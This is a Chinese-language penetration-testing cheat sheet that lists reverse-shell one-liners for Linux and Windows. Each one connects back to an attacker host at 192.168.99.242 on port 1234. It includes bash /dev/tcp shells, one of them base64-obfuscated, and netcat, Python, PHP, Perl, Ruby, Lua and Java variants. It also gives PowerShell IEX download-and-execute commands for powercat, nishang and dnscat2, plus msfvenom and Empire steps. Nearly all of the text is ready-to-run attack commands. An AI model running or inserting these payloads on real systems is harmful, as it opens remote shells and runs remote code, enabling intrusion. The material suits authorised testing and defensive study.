在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。 反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络,假设,攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。 Linux 反弹shell姿势一:bash反弹 bash -i >& /dev/tcp/192.168.99.242/1234 0>&1 base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}' 在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html 其他版本: exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0 姿势二:nc反弹 nc -e /bin/bash 192.168.99.242 1234 姿势三:awk反弹 awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' 姿势四:telnet反弹 备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。 telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321 姿势五:socat反弹 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234 姿势六:Python反弹 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" 姿势七:PHP反弹 php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 姿势八:Perl反弹 perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 姿势九:Ruby反弹 ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 姿势十:Lua反弹 lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" 姿势十一:JAVA反弹 public class Revs { /** * @param args * @throws Exception */ public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor(); } } 保存为Revs.java文件,编译执行,成功反弹shell。 javac Revs.java java Revs Windows反弹shell姿势一:nc反弹 netcat 下载:https://eternallybored.org/misc/netcat/ 服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe 姿势二:powershell反弹 powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。 PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd 下载到目标机器本地执行: PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd 姿势三:MSF反弹shell 使用msfvenom生成相关Payload msfvenom -l payloads | grep 'cmd/windows/reverse' msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234 姿势四:Cobalt strike反弹shell 1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。 姿势五:Empire反弹shell usestager windows/launcher_vbs info set Listener test execute 姿势六:nishang反弹shell Reverse TCP shell: powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234 Reverse UDP shell: powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234 姿势七:Dnscat反弹shell github项目地址: https://github.com/iagox86/dnscat2 服务端: ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 目标主机: powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx 到此这篇关于反弹shell的几种姿势小结的文章就介绍到这了,更多相关反弹shell内容请搜索极客世界以前的文章或继续浏览下面的相关文章希望大家以后多多支持极客世界! |
